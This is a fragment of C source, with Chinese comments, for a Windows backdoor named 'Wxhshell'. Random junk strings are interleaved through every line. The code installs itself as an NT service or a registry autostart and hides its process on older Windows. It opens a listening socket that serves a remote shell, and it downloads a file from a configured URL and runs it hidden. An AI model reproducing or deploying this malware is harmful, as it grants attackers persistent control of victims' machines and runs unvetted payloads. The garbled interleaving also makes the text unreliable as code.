D9`0Dr}/2 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [:xiZ 0sI1GhVR CloseHandle(hProcess); y=In?QN{6* QO"oEgB`+Z if(strstr(procName,"services")) return 1; // 以服务启动 qB)"qFa
/R>nr" return 0; // 注册表启动 jp $Z] } )p!7#v/@f 4iW'kuK // 主模块 V9ssH87# int StartWxhshell(LPSTR lpCmdLine) Pnd`=%w%] { |_omr&[_ SOCKET wsl; >A0k 8T BOOL val=TRUE; ^Rx9w!pAN int port=0; Vi4~`;|&b+ struct sockaddr_in door; SP|<Tny hFiIW77s2 if(wscfg.ws_autoins) Install(); piU/& c/_+o;Bc port=atoi(lpCmdLine); Ou{v/'9z, ##Z_QB(; if(port<=0) port=wscfg.ws_port; b;)~wU= %0? M?Jf WSADATA data; ]xguBh ] if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E*# ]** jy]JiQB if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; bT
2a40ul setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bzdb|I6Z door.sin_family = AF_INET; }(egMx;"3J door.sin_addr.s_addr = inet_addr("127.0.0.1"); s?ko?qN( door.sin_port = htons(port); Y?ez9o:/# *D'$"@w3 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z,{<Nm7&F closesocket(wsl); *>VVt8*Et return 1; Hcc"b0>}{ } QdLYCR4f z<.?x%4O if(listen(wsl,2) == INVALID_SOCKET) { $.Q$`/dF closesocket(wsl); N{-]F|XX return 1; ~tOAT;g}q } kNqH zo Wxhshell(wsl); 4(-bx.V WSACleanup(); JWA@+u*k E9V5$ return 0; *m2=/Sh }8;[O
9 } 1xv8gC:6 3=W!4 // 以NT服务方式启动 D~o$GW% VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^<X@s1^# { t<n"-Tqu DWORD status = 0; .(Qx{r$ DWORD specificError = 0xfffffff; sl2@umR7%( erO>1 ,4S serviceStatus.dwServiceType = SERVICE_WIN32; GWvH[0 serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9}z0J serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &sF^Fgg{ serviceStatus.dwWin32ExitCode = 0; G<M:Ak+~ serviceStatus.dwServiceSpecificExitCode = 0; y1=NF serviceStatus.dwCheckPoint = 0; &CwFdx:Ff serviceStatus.dwWaitHint = 0; D/h/Y) Y u !!X6< hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m[k_>e\u if (hServiceStatusHandle==0) return; Y<0 4RV JJRK7\~$ status = GetLastError(); .k[o$z\EkF if (status!=NO_ERROR) 4Z|vnj)Z { R-^96fFBy serviceStatus.dwCurrentState = SERVICE_STOPPED; k<+0o)) serviceStatus.dwCheckPoint = 0; J~(Wf%jM~ serviceStatus.dwWaitHint = 0; hR5_+cuIp serviceStatus.dwWin32ExitCode = status; t20PP4FWM serviceStatus.dwServiceSpecificExitCode = specificError; US SetServiceStatus(hServiceStatusHandle, &serviceStatus); zXsc1erli return; _4 cvX } ?JxbSK# 3Tq\BZ serviceStatus.dwCurrentState = SERVICE_RUNNING; ,ZS6jZ serviceStatus.dwCheckPoint = 0; F ]O$(7* serviceStatus.dwWaitHint = 0; )J?{+3 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); moVbw`T } Dz./w z6py"J@ // 处理NT服务事件,比如:启动、停止 M# 18H<] VOID WINAPI NTServiceHandler(DWORD fdwControl) ~afg)[( { 2YuN~- switch(fdwControl) 0P>OJYFr' { hm<}p&!J case SERVICE_CONTROL_STOP: TPhTaKCio serviceStatus.dwWin32ExitCode = 0; sE{ pzPq! serviceStatus.dwCurrentState = SERVICE_STOPPED; ^s.V;R serviceStatus.dwCheckPoint = 0; |y<),j6 serviceStatus.dwWaitHint = 0; )etmE { +h_ !0dG SetServiceStatus(hServiceStatusHandle, &serviceStatus); flgRpXt } Q%aU42?_1 return; PA w-6; case SERVICE_CONTROL_PAUSE: CQ;]J=|<_ serviceStatus.dwCurrentState = SERVICE_PAUSED; 6dAEM;$_Z break; I]!^;)) case SERVICE_CONTROL_CONTINUE: c"!lwm3b serviceStatus.dwCurrentState = SERVICE_RUNNING; PCn Q_A-Q break; p$7#}s case SERVICE_CONTROL_INTERROGATE: rw)kAe31 break; 7m#[!%D }; )EyI0R] 5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); fri0XxF } )rLMIk C6_@\&OA // 标准应用程序主函数 ~7!7\i,Y8\ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <\zCpkZ'B { :Sg_tOf x ]5@>5 // 获取操作系统版本 (J"T]-[ OsIsNt=GetOsVer(); c.\O/N
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2}?wYI*:5| *=Z26 // 从命令行安装 B~'MBBD" if(strpbrk(lpCmdLine,"iI")) Install(); AGA`fRVx 7 1W5.! // 下载执行文件 j\RpO'+} if(wscfg.ws_downexe) { S'~o,`xy if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n3MWs);5 WinExec(wscfg.ws_filenam,SW_HIDE); }G$]LWgQx } E99CmG|" UkCnqNvx if(!OsIsNt) { h?\2_s // 如果时win9x,隐藏进程并且设置为注册表启动 o
A*G HideProc(); #0b&^QL StartWxhshell(lpCmdLine); nRhrWS } y'ja< 1I> else "HM{b?N if(StartFromService()) =R*Gk4<Y // 以服务方式启动 3-40'$lE StartServiceCtrlDispatcher(DispatchTable); PU9`<3z5 else yj@tV2 // 普通方式启动 puJ#w1!x` StartWxhshell(lpCmdLine); AV&yoag1 ]Pn!nSg return 0; 09M;}4ev&7 }
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